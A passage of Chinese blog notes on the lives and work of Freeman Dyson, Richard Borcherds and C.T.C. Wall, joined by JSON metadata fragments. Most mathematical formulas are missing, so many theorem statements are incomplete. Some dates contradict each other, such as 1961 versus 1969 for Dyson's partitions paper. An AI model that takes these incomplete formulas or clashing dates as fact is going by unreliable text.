Oppenheimer 感到自在。他觉得 Oppenheimer 浮于表面，而且与 Bethe 相比，并不善于给学生提供指导和支持。 Bethe 则继续成为 Dyson 的真正支柱；在一次极有影响力的研讨会上，Bethe 帮助 Dyson 说服听众 —— 其中包括 Oppenheimer—— 相信 Feynman 的方法是最有希望继续推进的方向。 Dyson 1949 年关于量子电动力学中 S- 矩阵重整化的著名论文《量子电动力学中的 S- 矩阵》（The S matrix in quantum electrodynamics），很快成为该领域极受重视、影响深远的工作。 Harvard 大学物理系教授弗瑞（Wendell Hinkle Furry，1907-1984）对这篇重要论文的内容和方法作了如下概括：文中讨论了量子电动力学在散射问题中的应用，所用语言是 S- 矩阵的计算；S- 矩阵是一种把初态的入射波转化为末态的出射波的算符。…… S- 矩阵的计算被表示为一组图，其中有向线代表电子，无向虚线代表光子或与某个给定电磁场的相互作用。 图中的内部线代表粒子的虚态：它们要么在可观测粒子之间提供相互作用，要么表示场的涨落，从而产生自能等效应；延伸到图边界的线则代表可观测粒子，或与给定场的相互作用。对于任何给定过程，当然都会有许多图；对每一个图，都有一个对应的 S- 矩阵贡献，而根据 Feynman 在 Dyson 前一篇论文中制定并给出的规则，这些贡献只需从图上便可直接写出。 Dyson 开始在科学界成名。他知道这种名声的风险，也很有意思地说：我想我至少有足够的清醒，能够享受这种成功，而不至于被它迷惑；如果我做不到，费曼就是一个足以让我引以为戒的榜样。 1949 年初，他计划回英国，并向 Oppenheimer 请教应当去哪个机构。Oppenheimer 说：嗯，Birmingham 有最好的理论物理学家 Peierls；Bristol 有最好的实验物理学家 Powell；Cambridge 则有一些极好的建筑……。 在 Bethe 为 Dyson 申请去 Peierls 那里工作的推荐信中，他把 Dyson 描述为：…… 自 Dirac 以来英国最优秀的理论家。1949 年夏天，Dyson 在高等研究院遇见了维雷娜（Verena Esther Haefeli-Huber，1923-2016）。她是一位瑞士数学家，前一年刚刚发表自己的博士论文《抽象群论中作为分类原则的一种对偶性》（Ein Dualismus als Klassifikationsprinzip in der abstrakten Gruppentheorie）；这篇论文推广了 P. Hall 的两篇文章。 Dyson 于 1950 年夏与 Verena 订婚，并于同年 8 月结婚。他们婚后育有两个孩子：Esther Dyson 和 George Dyson。Esther 16 岁进入 Harvard，主修经济学，后来成为作家兼记者，也是计算机世界中的重要人物。 Dyson 与 Verena 于 1958 年离婚；同年 11 月，他与 Imme Jung 结婚，两人育有四个女儿：Dorothy、Emily、Mia 和 Rebecca。 完成 S- 矩阵论文后，Dyson 转向介子理论（meson theory），在这一领域中他提出了一种把高频相互作用与低频相互作用的计算分离开来的方法。 在发表了更多重要论文并参与国际会议之后，1950 年 5 月，Dyson 接替 Feynman，出任 Cornell 的教授职位。到这时，Bethe 对 Dyson 的赞赏之情已与日俱增。Bethe 曾表示，Dyson 是 “世界上唯一能够在 Cornell 接替 Feynman 的人”。 有趣的是，在 Dyson 令人印象深刻的整个职业生涯中，他并未正式取得博士学位，也从未获得 Nobel 奖。 1979 年 Nobel 物理学奖得主温伯格（Steven Weinberg，1933-2021）曾公开表示，Nobel 委员会亏待了 Dyson；而 Dyson 本人也曾开玩笑说，自己正是因为没有获得 Nobel 奖而变得著名（Dyson prefers the infamy of never having won the Nobel Prize）。 1953 年，Dyson 接受了普林斯顿高等研究院物理学教授的职位。前面提到过，尽管这时他已经是一位物理学家，Dyson 仍继续发表纯数学研究论文。例如，他在 1951 年于《Annals of Mathematics》上发表了巧妙的论文《定义在球面上的连续函数》（Continuous functions defined on spheres）； 1961 年发表《分拆的一种新对称性》（A new symmetry of partitions）； 1989 年发表《分拆的映射与对称性》（Mappings and symmetries of partitions）； 1994 年发表《与整数表示为两个平方和相关的指数和的均方值》（Mean square value of exponential sums related to representation of integers as sum of two squares，和 Pavel Bleher 合作）； 2001 年发表《第 6 个 Fermat 数与回文连分数》（The sixth Fermat number and palindromic continued fractions）等。 还应特别提到 Dyson 于 1988 年发表的论文《漫步 Ramanujan 的花园》（A walk through Ramanujan’s garden）。 拉杜（Christian Radoux）在评论中写道：…… 四十八年来，作者一直在研究 Ramanujan 的工作，最初通过 Hardy 和 Wright 的著作，接着通过《论文集》、“失落的笔记本” 以及其他几位数学家的工作。借此，我们得以追随他自己关于分拆同余性质、特殊级数与无穷乘积、生成函数以及模函数等方面的研究……。 Dyson 还出版过若干关于科学与哲学的书，包括 《扰乱宇宙》（Disturbing the Universe, 1979）， 《武器与希望》（Weapons and Hope, 1984）， 《生命的起源》（Origins of Life, 1986）， 《向各个方向无限延伸》（Infinite in all Directions, 1988）， 《从爱神厄洛斯到盖亚》（From Eros to Gaia, 1992） 《想象的世界》（Imagined Worlds, 1997）和 《太阳、基因组和互联网》（The Sun, the Genome and the Internet, 1999）。 他也写过不少说明性文章，例如发表于《Scientific American》的《物理科学中的数学》（Mathematics in the physical sciences, 1964），讨论数学 —— 特别是群论 —— 在物理科学中的作用。 发表于《American Mathematical Monthly》的《错失的机会》（Missed opportunities, 1972）则是：……[Dyson] 于 1972 年 1 月发表的 Josiah Willard Gibbs 讲座的文字稿。这次讲座精彩、大胆而且富于争议。它引发了大量讨论，也招来了某些批评，但确实激发了听众…… 其中对数学家与物理学家之间交流破裂，以及对 Maxwell 方程缺乏兴趣的那段历史叙述，构成了对数学共同体的一种控诉。 在《不合时宜的追求》（Unfashionable pursuits, 1983）中，Dyson 写道：…… 强烈呼吁那些掌握科研资助的 “权威委员会”—— 例如高等研究院和 Humboldt 基金会中的相关委员会 —— 更多关注那些希望在 “不时髦” 领域中工作的科学家。他强调，许多最初看来 “不时髦” 的思想，若干年后却被证明极其重要；他举出的例子包括 Grassmann 和 Lie 的工作……。 Dyson 因其卓越贡献获得了许多荣誉，包括 1952 年当选英国皇家学会会士。他还当选为美国国家科学院院士（1964）和巴黎科学院院士（1989）。1994 年，Dyson 从普林斯顿高等研究院教授职位上退休，并被任命为名誉教授。 1996 年，美国数学学会出版了《Freeman Dyson 论文选集附评注》。恩特（Aernout C. D. van Enter）在对这本书的评论中，对 Dyson 的贡献作了很好的概括： 对这样一本书发表意见，几乎让人觉得有些僭越。它的主题范围极广，包含许多深刻的、往往已经成为经典的结果，而且文风无可挑剔。每一类读者都能在这本书中找到贴近自己兴趣的内容，也会碰到超出自己掌握范围的内容。它涵盖了极其丰富的主题与奠基性贡献：著名的量子电动力学论文、物质稳定性、层级 Ising 模型的发明、无序线性链、随机矩阵、自旋波理论等等；Dyson 在这些差异极大的题目上都留下了自己的印记。 这还没有包括纯数学方面的内容，而我对此更没有资格评论。Dyson 的多面性、数学功力与深度是众所周知的，他的评论和有时带挑衅性的观点既发人深省，又令人读来愉快。对这本书，我无法给出比一句老话更好的推荐：去研究大师吧！（study the masters!） 贡献一、分拆（partition）理论Dyson 在纯数学中最有持久影响的工作，首先属于整数分拆（partition）。所谓一个正整数 的分拆，就是把 写成若干正整数之和，并且不计顺序。例如 所以 。一般地记 是 的分拆，其中 且 ， 表示 的分拆总数。 它的母函数是 Euler 的经典乘积公式 Ramanujan 证明过三个著名同余： Dyson 在 1944 年的文章《分拆理论里的一些猜想》（Some guesses in the theory of partitions）的出发点，就是想为这些同余找到一种 “组合性的解释”，而不是只靠生成函数或模形式计算。 他为此引入分拆的秩（rank）。若 是一个分拆，Dyson 定义 这个定义非常简单，但十分有效。 若记 为 的分拆中 rank 与 同余（congruent）的个数，Dyson 猜想：对 Ramanujan 的前两个同余，分拆可以按 rank 模 5 和模 7 平均分布。 这正给出了前两个 Ramanujan 同余的直接组合解释。Atkin 和 Swinnerton-Dyer 后来（1954 年）证明了这些猜想；这条线以后发展得很深，直到 21 世纪仍是分拆理论的重要部分。 Dyson 同时还指出，rank 并不能同样自然地解释模 11 的同余，因此他猜想还应存在另一种统计量，后来被他命名为 crank。四十多年以后（1988 年），Andrews 和 Garvan 才真正给出这样一个统计量。其一个标准定义是：令 是拆分中 1 的个数， 是大于 的元素数，则 这个定义后来同时解释模 5、7、11 的三条 Ramanujan 同余。 1969 年，Dyson 在《分拆里的新对称性》（A new symmetry of partitions）中证明一个新的分拆对称性：它给出 “rank 等于某个值” 的分拆数的显式公式，并把 Euler 关于 的经典恒等式重新放进一个组合框架中。 1989 年的《分拆的映射与对称性》（Mappings and symmetries of partitions）又进一步用组合映射构造新的分拆恒等式，并把普通分拆与 Garvan 引入的向量分拆联系起来。 二、加法数论与 Dyson 变换（Dyson transform）Dyson 1945 年的《关于整数集密度的一个定理》（A theorem on the densities of sets of integers）属于加法数论。这一方向研究的是：若 ，它们的和集 有多大？若一个集合足够 “稠密”，反复与自己相加以后，是否能覆盖全部足够大的整数？这类问题在 Schnirelmann、Landau、Mann 等人的工作中已相当重要。 这里最基本的量之一是 Schnirelmann 密度：若 表示集合 中不超过 的元素个数，则 Mann 的经典定理表明： 也就是说，只要两个集合都有正密度，它们的和集密度就至少线性增长到某个程度。 Dyson 的 1945 年论文做的事情，是把这种二元和集的密度方法推广到更一般的 - 重和集，也就是 后来的研究文献通常把他的证明中使用的一个关键替换步骤称为 Dyson 变换（Dyson transform）。 三、拓扑：球面上的连续函数Dyson 在 1951 年发表著名的短文《球面上的连续函数》（Continuous functions defined on spheres）。后来的文献通常把这篇文章的结论概括为 Dyson's theorem：若 是一个连续函数，那么在单位球面 上，总可以找到四个点 ，它们构成一个以球心为中心的内接正方形，并且 。 后来的论文和相关文献都把这个结果视为球面上的一个 “等值内接图形” 定理，并指出它与 Kakutani 关于外接立方体的问题有关。 这个结果在今天看来很像 Borsuk–Ulam 型现象的一个具体几何实例。 四、随机矩阵Dyson 最重要的数学工作大概是 1962 年围绕随机矩阵的一组论文，特别是《复杂系统能级的统计理论 I–III》（Statistical theory of the energy levels of complex systems I–III）和《三重道路》（The threefold way）。这组工作把谱统计和对称分类统一起来。 Dyson 证明，在量子体系的对称约束下，真正基本的矩阵系综（ensemble）只有三类：实对称型、复 Hermitian 型和四元数自对偶型；这三类后来被称为 GOE、GUE 和 GSE。 Dyson 在《三重道路》（The threefold way）中把这一分类与三种实系数除代数 、 、 联系起来，说明 “为什么恰好是三类”，而不是把它看成经验上的偶然。 在现代统一写法下，这三类 Gaussian 系综的矩阵分布可以写成 把矩阵变量改写成特征值变量之后，联合密度变成 这个公式把特征值之间的排斥效应写得非常清楚： 这一因子意味着特征值彼此不喜欢靠得太近；所谓水平斥力（level repulsion），在这里第一次有了明确的数学形式。 Dyson 也正是在这一点上，看到了随机矩阵与一维 Coulomb 气体之间的对应。 在这组论文里，他还写出了谱相关函数的显式公式。例如在 1962 年系列论文的第三部分，他给出了某些二点相关函数 的具体表达式，以及极其经典的核函数 。 这类公式后成为随机矩阵理论中 “谱普适性” 讨论的原型。 同样在 1962 年，Dyson 还写了《随机矩阵特征值的 Brownian 运动模型》（A Brownian-motion model for the eigenvalues of a random matrix）。这篇论文把矩阵元素本身看成做 Brownian 运动的随机过程，并证明相应的特征值过程恰好可以解释成一维带对数排斥的粒子系统。这是一个由 个点电荷组成的 Coulomb 气体，它们一边做 Brownian 运动，一边受到彼此的静电排斥。今天所谓 Dyson Brownian motion 正是从这里来的。 六、Dyson conjecture：常数项恒等式Dyson 在数学中留下名字的另一件重要事情，是后来称为 Dyson conjecture 的常数项恒等式。设 表示取 Laurent 多项式的常数项。Dyson 在 1962 年猜想： 这个式子表面上很像一个纯组合恒等式，但它最初来自他对复杂量子体系能级统计的研究。后来 Wilson 和 Gunson 在同一年独立证明了这个猜想，Good 又给出了著名的简短证明；再往后，Andrews 提出了 - 类比，而 Zeilberger 与 Bressoud 给出了它的组合证明。 Dyson conjecture 后来被看作 Macdonald 常数项猜想等一大批恒等式的前身。 七、数学物理中的严格结果1976 年，他与 Lieb、Simon 合写的《量子 Heisenberg 模型的相变》（Phase transitions in the quantum Heisenberg model）。若在 上考虑最近邻铁磁 Heisenberg 模型，其 Hamiltonian 量通常写成（其中 是格点 上的自旋算符） Dyson–Lieb–Simon 的结论是：在维数 时，这个量子模型在某个正温度下确实发生相变。 1976 年，Dyson、Lieb 和 Simon 首先发表了关于三维及更高维中最近邻铁磁量子 Heisenberg 模型存在非零温度相变的证明。随后，他们在更完整的工作中把该方法推广到了更广泛的量子自旋系统，其中也包括了若干反铁磁 Heisenberg 模型。这件事之所以重要，是因为它通过引入严格的数学结构，把 “相变确实存在” 从物理直觉变成了数学上的证明。"},{"title":"","date":"2026-03-31T09:07:00.000Z","updated":"2026-05-03T09:10:00.000Z","comments":true,"path":"notes/person/4.html","permalink":"https://blog.mhuig.top/notes/person/4","excerpt":"","text":"Borcherds Borcherds 生平理查德・尤恩・博赫兹（Richard Ewen Borcherds，1959- ）年出生于南非的开普敦（Cape Town）。他的父亲彼得・霍华德・博赫兹（Peter Howard Borcherds）早年学习电气工程，后将兴趣转向数学物理，并在 Cape Town 大学担任讲师；母亲是玛格丽特・伊丽莎白・格林菲尔德（Margaret Elizabeth Greenfield）。 Borcherds 家里共有四个孩子，受家庭浓厚的学术氛围影响，他的三个兄弟中有两位后来成了数学教师，其中 Michael Borcherds 是知名数学教学软件 GeoGebra 的首席开发者。 在 Borcherds 大约一岁时，全家搬迁至英国，父亲后来成为了 Birmingham 大学的物理讲师。 Borcherds 就读于 Birmingham 的国王爱德华学校（King Edward's School）。年少时的他展现出了非凡的逻辑天赋：他是一名出色的国际象棋棋手，14 岁时便斩获了当地 Midlands 地区 21 岁以下级别的象棋冠军。 此外，他还在国际数学奥林匹克（IMO）中代表英国先后斩获过银牌和金牌。 在孩童时期，他就接触到了大量前沿的数学内容，例如数学家考克斯特（Harold Scott MacDonald Coxeter，1907-2003）关于多面体（polyhedrons）的论文，以及 Cundy 和 Rollett 合著的经典读物《数学模型》（Mathematical Models）。 大学阶段，Borcherds 进入了 Cambridge 大学三一学院（Trinity College）学习。 在获得学士学位后，他继续留校攻读博士学位，师从康威（John Horton Conway，1937-2000）。 尽管后来大放异彩，但起初他在学术道路上充满了自我怀疑。他曾坦言，读博期间自己并没有取得多大进展，大部分时间都在为了保住职位而苦苦挣扎。 看到同龄人（例如 1986 年 Fields 奖得主唐纳森（Simon Kirwan Donaldson，1957- ））极其成功，他一度觉得自己显然没有作为研究型数学家的潜质，甚至好几次萌生了退学的念头。 然而，他最终克服了这些困难，于 1985 年凭借关于 Leech 格（Leech lattice，一种给出 24 维空间中球体极其密集堆积的模型）的优秀论文顺利取得博士学位。 毕业后，他的学术生涯主要在 Cambridge 大学和 Berkeley 之间交替，并于 1993 年正式被任命为 Berkeley 的数学教授，至今仍保留该职位。 在科研探索中，Borcherds 经历过许多有趣的插曲。1986 年他首创了极具前瞻性的 “顶点代数（vertex algebras）” 概念，但由于理论过于超前，起初几乎无人问津。 他回忆说，自己做学术报告时经常没人来听。直到有一次，由于海报出现了排版错误，把讲座标题错拼成了流体力学中的 “涡旋代数（vortex algebras）”，意外吸引了一大批流体物理学家。当然，当这群听众发现是个错别字后，立刻对他的纯数学理论失去了兴趣。 他最著名的成就是在 1989 年证明了著名的 “魔群月光猜想（monstrous moonshine conjecture）”。为了这个猜想，他苦思冥想了八年之久。 灵感降临的时刻非常具有戏剧性：当时他在旅行，乘坐的大巴车因山体滑坡被困。正是在这趟长达 24 小时、令人极其烦躁的旅途中，他百无聊赖地在脑海里做着计算，突然灵光一闪，找到了让所有理论拼图完美契合的关键思路。 凭借这些突破性的工作，Borcherds 于 1992 年获得了伦敦数学学会的初级 Whitehead 奖（Junior Whitehead Prize$）和欧洲数学学会奖；1994 年当选为皇家学会院士。1998 年，在柏林举行的国际数学家大会上，他登上了数学界的最高荣誉殿堂 —— 荣获 Fields 奖（和高尔斯（William Timothy Gowers，1963-）、孔采维奇（Maxim Lvovich Kontsevich，1964-）、麦克姆伦（Curtis Tracy McMullen，1958-）一起分享）。 对于伴随荣誉而来的名声，他表现得极其淡然与通透：“在获奖前我觉得它极其重要，获奖后却觉得它毫无意义”。 相反，纯数学的发现能带给他极大的快乐：“当我证明了月光猜想时，我简直高兴得上了天（over the moon，语带双关）。如果得出了好结果，我会一连高兴好几天。有时候我想，这或许就是服用某些药物时的感觉吧，虽然我没亲自测试过这个理论。” 在个人生活方面，Borcherds 与拓扑学家乌苏拉・格里奇（Ursula Gritsch$）结为夫妻，并育有两个女儿。 他曾坦言自己可能带有阿斯伯格综合征（Asperger syndrome）的某些特质。 近年来，Borcherds 将科研精力投入到为量子场论建立严谨的数学基础中。同时他在社交媒体网站上开设了广受欢迎的个人频道，向大众免费普及高等数学和理论物理知识。 贡献一、证明魔群月光猜想（monstrous moonshine conjecture）这是让 Borcherds 赢得 Fields 奖的巅峰之作。1979 年，John Horton Conway 和 Simon Norton 提出的 “月光猜想” 揭示了有限单群与非紧 Riemann 面之间极度非平凡的函数同构关系。 在数论中，模群 的主模（Hauptmodul）被称为 - 函数，其傅里叶展开（设 ）为： 在有限群论中，最大的散在单群 “魔群（monster group）” 的前几个不可约表示维度依次是 数学家 McKay 敏锐地发现，比如， Conway 和 Norton 进一步猜想：必定存在一个自然分次的无限维 - 模 使得对于魔群中的任意元素 ，其特征标给出的 McKay-Thompson 级数 都是 中某个亏格为零的离散子群的主模。 1992 年，Borcherds 给出了严密的证明。他没有局限于传统的有限群论，而是跨界利用了玻色弦理论中的无鬼定理（no-ghost theorem）来计算 Lie 代数同调（Lie algebra homology）。 他证明了作用在特定的 “魔群 Lie 代数” 上的恒等式恰好能导出 必须满足的一组被称为 “可复制方程（replicable identities）” 的递推关系，从而彻底解决了这一长达十余年的代数悬案。 二、引入顶点代数（vertex algebras）为了给物理学家和代数学家（Frenkel、Lepowsky 和 Meurman）构造的月光模 提供严格的代数操作空间，Borcherds 在 1986 年以极高的代数品味首创了 顶点代数（vertex algebras） 理论。 这本质上是对二维共形场论（conformal field theory，CFT）中手征代数（chiral algebras）的严格数学公理化。 在传统的结合代数中，乘法是一个固定的二元映射。但在顶点代数中，受弦理论中 “状态 - 场对应（state-field correspondence）” 的启发，向量空间 中的每个向量 （状态）都对应一个以形式变量 为参数的 Laurent 级数，即 “顶点算子（vertex operator）”： 是 上的自同态算子 这相当于用一整族的无穷双线性运算取代了单一的乘法。 Borcherds 提取了物理中算子乘积展开（OPE）的精髓，引入了核心的 “局部性公理（locality axiom）”：对于任意两个场算子，必然存在足够大的整数 ，使得 这在代数上完美刻画了物理量子场论中 “类空分离测量相互独立” 的微观因果律。如今，顶点算子代数（VOA）已成为几何表示论的核心语言，在推进几何 Langlands 纲领（geometric Langlands program）的过程中扮演了基石角色。 三、创立广义 Kac-Moody 代数（Generalized Kac-Moody algebras）经典半单 Lie 代数以及无限维的 Kac-Moody 代数，完全可以由其广义 Cartan 矩阵（generalized Cartan matrix） 控制。 在标准理论中，对角线元素必须满足 ，这对应于根系中长度平方为正的 “实单根（real simple roots）”。 Borcherds 极其大胆地放宽了这一限制，允许对角线元素 。这意味着他在 Lie 代数系统中合法化了范数平方为零或负数的 “虚单根（imaginary simple roots）” 的存在，由此创立的全新代数结构现称为 Borcherds Lie 代数 。 即使引入了看似破坏结构的虚根，这类代数依然保留了经典 Lie 代数最优美的性质 —— Weyl 分母公式（Weyl denominator formula） 依然成立，只需在公式中加入由虚根贡献的修正项。 Borcherds 将月光顶点代数与一个由洛伦兹格分次的系统结合，成功构造出了 “魔群 Lie 代数（Monster Lie algebra）”。 在这个广义代数中，对应根的重数恰好等于 - 函数的系数，其广义分母公式也正是彻底攻克月光猜想的终极代数方程。 四、发现 Borcherds 积与奇异 Theta 提升（Borcherds products and singular theta lift）这是 Borcherds 在代数几何和自守形式理论中最深刻的贡献。在研究魔群 Lie 代数的分母公式时，Borcherds 意外发现无穷乘积与高维自守形式之间存在普遍的内在联系。 早年间，像 Dedekind 函数这样的无限乘积公式仅存在于一维情况（如在 上）。 在当时的代数几何界，人们普遍认为高维自守形式不可能拥有如此整齐的纯乘积结构。 Borcherds 彻底打破了这一偏见，他建立了一种被称为 “奇异 Theta 提升（singular theta lift）” 的强大积分映射。 该映射将定义在 上、权为 的 “弱全纯模形式（weakly holomorphic modular forms，即允许在无穷远尖点处有极点的主模形式）” 作为输入，提升为正交群 对称空间上的亚纯自守形式（meromorphic automorphic forms）。 这些生成的高维自守形式不仅能在边界展开为极具美感的无限乘积（即 Borcherds 积），而且它们的零点和极点极其有规律地分布在 “Heegner 除子（Heegner divisors）” 上，且分布位置与重数完全由输入的低维模形式的 Fourier 展开主部（负次幂项）的系数精准决定。 这一 “极点发生器” 机制彻底颠覆了高维自守形式的研究。 如今，它被广泛应用于显式构造 K3 曲面、Enriques 曲面以及志村簇（Shimura varieties）的模空间几何结构，成为了现代算术几何中无可替代的解析工具。"},{"title":"","date":"2026-04-01T01:07:00.000Z","updated":"2026-05-03T01:10:00.000Z","comments":true,"path":"notes/person/5.html","permalink":"https://blog.mhuig.top/notes/person/5","excerpt":"","text":"Wall Wall 生平查尔斯・特伦斯・克莱格・沃尔（Charles Terence Clegg Wall，1936- ）是一位英国数学家，出生于英格兰西南部港口城市布里斯托尔（Bristol）。他的父亲查尔斯・沃尔（Charles Wall）是一名兢兢业业的中学教师。他早年在以严谨学风著称的 Marlborough 学院接受了扎实的中学教育，随后凭借优异的成绩考入 Cambridge 大学三一学院（Trinity College）攻读数学。 在 Cambridge 他迅速展露了在抽象代数与几何直觉方面的非凡天赋。获得学士学位后，他直接留在 Cambridge 继续攻读博士学位。 他的博士生导师是当时英国拓扑学界的两位领军人物：以研究奇点理论和几何拓扑闻名的泽曼（Erik Christopher Zeeman，1925-2016），及在代数拓扑学和同伦论中具有统治地位的亚当斯（John Frank Adams，1930-1989）。 在两位名师的联合指导下，Wall 将研究方向聚焦于当时正处于爆发前夜的配边理论（cobordism theory）。 1960 年，年仅 24 岁的 Wall 完成了题为《配边的代数方面》（Algebraic aspects of cobordism）的博士论文，并正式获得博士学位。在这篇论文中，他利用代数工具理清了定向配边环（oriented cobordism ring）的结构。 Wall 的学术生涯起步极早且异常顺利。在 1960 年，他有两篇论文《配边环的确定》（Determination of the cobordism ring）以及《Steenrod 代数的生成元和关系》（Generators and relations for the Steenrod algebra）发表在《Annals of Mathematics》上。 在 1959 年，即获得博士学位的前一年，他便凭借极其卓越的早期研究成果获得了 Cambridge 大学 Trinity 学院的研究资助，并一直担任该研究职位至 1964 年。 1960 年至 1961 年，他获得 Harkness Fellowship 的资助，前往普林斯顿高等研究院（IAS）进行为期一年的访学。 在 Princeton，他置身于几何与拓扑学发展的最前沿，与米尔诺（John Willard Milnor，1931- ）等顶尖数学家们进行了深度的思想碰撞，这极大地拓宽了他的研究视野。 1961 年从美国返回后，他被任命为 Cambridge 大学的 College Lecturer。1964 年，他转赴 Oxford 大学担任 Reader，并成为 St Catherine's College 的 fellow。 然而，仅仅一年之后的 1965 年，年仅 29 岁的他就被 Liverpool 大学聘为 chair of Pure Mathematics。自此，他在 Liverpool 大学扎根，将该校数学系建设成为英国乃至世界拓扑学与奇点理论（singularity theory）的研究重镇之一，并一直在那里任职直至 1999 年退休成为荣休教授。 在 1960 年代的拓扑学黄金岁月里，Wall 发表了一系列改变学科面貌的奠基性论文。1964 年，他在《Journal of the London Mathematical Society》上发表了关于四维流形微分同胚的经典论文《四维流形的微分同胚》（Diffeomorphisms of 4-manifolds），这篇论文提出了著名的 Wall 稳定化定理 （Wall's stable realization），为理解四维空间的光滑结构提供了革命性的视角。 随后在 1965 年，他在《Annals of Mathematics》上发表了开创性论文《CW 复形的有限性条件》（Finiteness conditions for CW-complexes），首次定义了 Wall 有限性障碍 （Wall's finiteness obstruction），将代数 - 理论与空间的有限同伦型问题完美结合，解决了困扰学界多年的经典问题。 而他学术生涯中最重要的集大成之作，则是 1970 年出版的专著《紧致流形上的手术》（Surgery on compact manifolds）。 这本书首次系统地建立了一般基本群下流形的手术理论，并系统引入了 Wall 群（Wall groups） ，它不仅统一了前人的诸多工作，更为非单连通高维流形的拓扑分类提供了一套代数框架，该书至今仍是拓扑学的圣经。 在职业生涯的中后期，Wall 的学术兴趣逐渐扩展到了奇点理论（singularity theory），特别是由托姆（René Frédéric Thom，1923-2002）、Milnor 和阿诺德（Vladimir Igorevich Arnold，1937-2010）所发展起来的理论框架。 他在微分映射孤立奇点与代数簇奇点的分类方面做出了重要贡献，并出版了《拓扑稳定性的几何》（The geometry of topological stability, 1995；与 Andrew du Plessis 合作）和《平面曲线的奇点》（Singular points of plane curves, 2004）等具有深远影响的著作。 Wall 一生荣誉等身，他的开创性工作获得了国际数学界的高度认可。他获得了 1965 年的 Berwick Prize。 Berwick Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1947 A.G. Walker 1949 L. Cooper 1959 I.M. James 1961 M. Atiyah 1963 F. Adams 1965 C.T.C. Wall 1971 J.H. Conway 1977 G. Lusztig 1981 R. Heath-Brown 1993 T. Wooley 2003 T. Bridgeland 2005 I. Gordon 2017 K. Costello 2023 丁剑、E. Gwynne 2025 A. Brochier、D. Jordan 1976 年的 Senior Whitehead Prize、 部分 Senior Whitehead Prize 获得者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1974 Adams 1976 C.T.C. Wall 1978 I.M. James 1980 D.G. Kendall 1982 C. Zeeman 1984 J.T. Stuart 1987 E.A. Rankin 1989 E. Fraenkel 1993 B.J. Birch 1997 J.H. Coates 2007 B. Bollobás 2009 V.G. Maz'ya 2013 F.C. Kirwan 2019 B. Green 2025 L. Pastur 1988 年的 Pólya Prize、 Pólya Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1987 J.H. Conway 1988 C.T.C. Wall 1991 I.G. Macdonald 1999 S. Donaldson 2002 N. Hitchin 2006 R. Swinnerton-Dyer 2009 R. Heath-Brown 2023 F. Kirwan 2024 陈贵强 他在学术界担任过诸多领导职务，特别是于 1978 年至 1980 年期间出任伦敦数学会主席。 他于 1969 年当选为英国皇家学会院士，于 1990 年当选丹麦皇家科学院外籍院士，并于 2012 年当选为美国数学学会会士。 1966 年（莫斯科）和 1970 年（尼斯），他两次作为受邀讲者在国际数学家大会（ICM）上作报告。 Wall 还培养出了一大批在拓扑学和奇点理论领域独当一面的顶尖学者。他著名的学生包括博德曼（John Michael Boardman，1938-2021）、布鲁斯（James William Bruce，1952- ）、卡森（Andrew John Casson，1943-2025）——1991 年 Veblen Prize 得主，以及特罗特曼（David John Angelo Trotman，1951-2025）等。 在数学世界之外，Wall 的个人生活充满了浓厚的人文气息与社会责任感。1959 年，他与赫恩肖（Alexandra Joy Sandra Hearnshaw）步入婚姻殿堂。两人相濡以沫半个多世纪，组建了一个庞大而幸福的家庭。 他们育有四个孩子：Nicholas、Catherine、Lucy 和 Alexander。随着岁月的流逝，这个家族不断壮大，截至 2024 年，他们已经拥有 7 个孙辈和 4 个曾孙辈（Rory、Felix、Valentina 和 Leo），尽享天伦之乐。 Wall 拥有广泛的业余爱好，特别热衷于家庭酿酒、阅读、园艺和散步。此外，他积极投身公共事务与政治，具有极强的社会责任感。他曾于 1985 年至 1988 年期间担任 Wirral 地区社会民主党的财务主管，并在该党与自由党合并后，继续在 Wirral West Liberal Democrats（威勒尔西自由民主党）担任财务要职直至晚年；同时，他长期关注教育与艺术，自 1987 年起担任 West Kirby Grammar School 的校董，并自 2000 年起出任 Hoylake 室内音乐会协会的财务主管。 贡献一、配边（cobordism）如果存在一个带边界的紧致流形（不妨设为 ），使得其边界是 和 的不交并，那么称两个闭的 维流形 和 是 配边的（cobordant） 。 配边类可以通过流形的不交并进行相加，通过流形的笛卡尔积进行相乘。Thom 在 1950 年代初计算了无定向光滑流形的配边环 ，并开启了定向光滑流形配边环 的计算。 在 Milnor 于 1950 年代末证明 不包含奇挠元（odd torsion）之后，Wall 在 1960 年发表在《数学年刊》的论文《配边环的确定》（Determination of the cobordism ring）中完成了 的计算。这是配边理论开创阶段的最终成就。 定理（Wall, 1960） 中所有挠元（torsion）的阶均为 2。定向闭流形的定向配边类由它的 Stiefel-Whitney 数和 Pontrjagin 数完全决定。 二、四维流形两个流形 和 之间的配边 被称为 - 配边（ -cobordism），如果映射 和 都是同伦等价。 这一概念的重要性源于 Smale（约 1960 年）的 - 配边定理，该定理表明： 如果 和 是单连通的且维数 ，那么 和 之间的每一个 - 配边都是一个柱面 。 特别地，如果 和 是单连通且 - 配边的，并且 ，那么 和 是微分同胚的。 1956 年，Milnor 继怀特海德（John Henry Constantine Whitehead，1904-1960）之后观察到，单连通 4 维流形 的同伦等价分类可以由其相交形式完全决定。 该形式是 上由闭链相交给出的非退化对称双线性形式，或者在对偶中由杯积（cup product）给出。 然而，在同胚或微分同胚意义下对 4 维流形进行分类，仍是拓扑学中最难的问题之一，因为惠特尼（Hassler Whitney，1907-1989）技巧在此维度下失效。 1964 年，Wall 成功地绕过了这一困难，但代价是必须进行 “稳定化”。 他利用柄体理论（handlebody theory）得到了 4 维流形 - 配边定理的稳定版本。 定理（Wall, 1964） 对于两个单连通的光滑闭合定向 4 维流形 和 ，以下条件等价： 它们是 - 配边的； 它们是同伦等价的（以保定向的方式）； 它们具有相同的相交形式。 如果这些条件成立，那么当 足够大（取决于 和 ）时，连通和 与 是微分同胚的（以保定向的方式）。 上述定理的逆命题并不完全正确：对于足够大的 ， 与 是保向微分同胚的，当且仅当 和 的相交形式是稳定同构的（stably isomorphic）（这里的稳定是指允许加上双曲形式 ）。 从 1960 年代直到 1980 年代唐纳森（Simon Kirwan Donaldson，1957-）的工作出现之前，该定理基本上是单连通 4 维流形微分同胚分类方面唯一的重要结果。 由于 Donaldson 的工作，我们现在知道该定理中的稳定化是不可避免的，因为如果没有它，类似上述定理的结论根本不成立。 三、高连通流形对单连通 4 维流形的研究，引出了一个更普遍的问题：对于所有的 ，对 - 连通的 维流形进行分类。 